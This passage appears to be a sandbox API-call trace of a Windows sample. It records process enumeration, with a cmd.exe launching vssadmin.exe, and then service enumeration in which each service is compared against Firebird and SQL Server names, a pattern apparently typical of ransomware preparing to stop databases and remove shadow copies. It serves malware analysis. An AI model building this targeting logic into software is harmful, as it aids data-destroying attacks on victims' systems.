	[0042.899] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0042.899] lstrlenW (lpString="winlogon.exe") returned 12
	[0042.900] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0042.900] lstrlenW (lpString="services.exe") returned 12
	[0042.900] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0042.901] lstrlenW (lpString="lsass.exe") returned 9
	[0042.901] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0042.902] lstrlenW (lpString="lsm.exe") returned 7
	[0042.902] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.902] lstrlenW (lpString="svchost.exe") returned 11
	[0042.902] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.903] lstrlenW (lpString="svchost.exe") returned 11
	[0042.903] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.904] lstrlenW (lpString="svchost.exe") returned 11
	[0042.904] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.904] lstrlenW (lpString="svchost.exe") returned 11
	[0042.905] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.905] lstrlenW (lpString="svchost.exe") returned 11
	[0042.905] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0042.906] lstrlenW (lpString="audiodg.exe") returned 11
	[0042.906] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.907] lstrlenW (lpString="svchost.exe") returned 11
	[0042.907] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.907] lstrlenW (lpString="svchost.exe") returned 11
	[0042.907] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0042.908] lstrlenW (lpString="dwm.exe") returned 7
	[0042.908] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0042.909] lstrlenW (lpString="explorer.exe") returned 12
	[0042.909] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0042.909] lstrlenW (lpString="spoolsv.exe") returned 11
	[0042.910] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0042.910] lstrlenW (lpString="taskhost.exe") returned 12
	[0042.910] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.911] lstrlenW (lpString="svchost.exe") returned 11
	[0042.911] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0042.912] lstrlenW (lpString="taskeng.exe") returned 11
	[0042.912] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0042.912] lstrlenW (lpString="taskhost.exe") returned 12
	[0042.912] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="program.exe")) returned 1
	[0042.913] lstrlenW (lpString="program.exe") returned 11
	[0042.913] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="felt.exe")) returned 1
	[0042.914] lstrlenW (lpString="felt.exe") returned 8
	[0042.914] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bibliography.exe")) returned 1
	[0043.140] lstrlenW (lpString="bibliography.exe") returned 16
	[0043.140] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="georgeeliteopening.exe")) returned 1
	[0043.141] lstrlenW (lpString="georgeeliteopening.exe") returned 22
	[0043.141] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commissioners_o_tiny.exe")) returned 1
	[0043.141] lstrlenW (lpString="commissioners_o_tiny.exe") returned 24
	[0043.141] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="converter.exe")) returned 1
	[0043.142] lstrlenW (lpString="converter.exe") returned 13
	[0043.142] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="once.exe")) returned 1
	[0043.143] lstrlenW (lpString="once.exe") returned 8
	[0043.143] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bras_cod_tribune.exe")) returned 1
	[0043.144] lstrlenW (lpString="bras_cod_tribune.exe") returned 20
	[0043.144] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1
	[0043.144] lstrlenW (lpString="always.exe") returned 10
	[0043.144] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="walkerusefuldifferently.exe")) returned 1
	[0043.145] lstrlenW (lpString="walkerusefuldifferently.exe") returned 27
	[0043.145] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="donated.exe")) returned 1
	[0043.146] lstrlenW (lpString="donated.exe") returned 11
	[0043.146] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowherepike.exe")) returned 1
	[0043.147] lstrlenW (lpString="nowherepike.exe") returned 15
	[0043.147] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="packagevolkswagen.exe")) returned 1
	[0043.147] lstrlenW (lpString="packagevolkswagen.exe") returned 21
	[0043.147] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roommate_ordinary.exe")) returned 1
	[0043.148] lstrlenW (lpString="roommate_ordinary.exe") returned 21
	[0043.148] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allowance.exe")) returned 1
	[0043.149] lstrlenW (lpString="allowance.exe") returned 13
	[0043.149] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conducting affect.exe")) returned 1
	[0043.150] lstrlenW (lpString="conducting affect.exe") returned 21
	[0043.150] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1
	[0043.150] lstrlenW (lpString="plaintiff.exe") returned 13
	[0043.150] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dialog.exe")) returned 1
	[0043.151] lstrlenW (lpString="dialog.exe") returned 10
	[0043.151] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="katrinaupgradingfruits.exe")) returned 1
	[0043.152] lstrlenW (lpString="katrinaupgradingfruits.exe") returned 26
	[0043.152] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spa-podcasts.exe")) returned 1
	[0043.152] lstrlenW (lpString="spa-podcasts.exe") returned 16
	[0043.152] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0043.153] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0043.153] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0043.154] lstrlenW (lpString="swpesp.exe") returned 10
	[0043.154] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x918, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0043.154] lstrlenW (lpString="cmd.exe") returned 7
	[0043.155] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0043.155] lstrlenW (lpString="conhost.exe") returned 11
	[0043.155] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0043.156] lstrlenW (lpString="vssadmin.exe") returned 12
	[0043.156] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0043.157] lstrlenW (lpString="VSSVC.exe") returned 9
	[0043.157] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0
	[0043.157] CloseHandle (hObject=0x160) returned 1
	[0043.157] Sleep (dwMilliseconds=0x1f4) 
	[0044.333] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d06b0
	[0044.333] EnumServicesStatusExW (in: hSCManager=0x35d06b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 0
	[0044.334] GetLastError () returned 0xea
	[0044.334] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x123e) returned 0x36a4310
	[0044.334] EnumServicesStatusExW (in: hSCManager=0x35d06b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36a4310, cbBufSize=0x123e, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36a4310, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 1
	[0044.334] CloseServiceHandle (hSCObject=0x35d06b0) returned 1
	[0044.335] lstrlenW (lpString="Appinfo") returned 7
	[0044.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0044.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0044.335] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0044.335] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0044.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0044.335] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0044.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0044.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0044.335] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0044.335] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0044.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0044.335] lstrlenW (lpString="AudioSrv") returned 8
	[0044.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0044.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0044.335] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0044.335] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0044.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0044.335] lstrlenW (lpString="BFE") returned 3
	[0044.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0044.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0044.335] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0044.335] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0044.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0044.335] lstrlenW (lpString="CryptSvc") returned 8
	[0044.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0044.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0044.335] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0044.335] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0044.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0044.335] lstrlenW (lpString="CscService") returned 10
	[0044.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0044.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0044.336] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0044.336] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0044.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0044.336] lstrlenW (lpString="DcomLaunch") returned 10
	[0044.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0044.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0044.336] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0044.336] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0044.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0044.336] lstrlenW (lpString="Dhcp") returned 4
	[0044.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0044.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0044.336] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0044.336] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0044.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0044.336] lstrlenW (lpString="Dnscache") returned 8
	[0044.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0044.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0044.336] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0044.336] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0044.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0044.336] lstrlenW (lpString="DPS") returned 3
	[0044.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0044.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0044.336] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0044.336] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0044.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0044.336] lstrlenW (lpString="eventlog") returned 8
	[0044.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0044.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0044.337] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0044.337] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0044.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0044.337] lstrlenW (lpString="EventSystem") returned 11
	[0044.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0044.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0044.337] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0044.337] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0044.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0044.337] lstrlenW (lpString="gpsvc") returned 5
	[0044.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0044.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0044.337] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0044.337] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0044.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0044.337] lstrlenW (lpString="iphlpsvc") returned 8
	[0044.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0044.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0044.337] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0044.337] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0044.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0044.337] lstrlenW (lpString="LanmanServer") returned 12
	[0044.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0044.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0044.337] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0044.337] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0044.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0044.337] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0044.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0044.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0044.337] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0044.337] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0044.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0044.338] lstrlenW (lpString="lmhosts") returned 7
	[0044.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0044.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0044.338] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0044.338] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0044.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
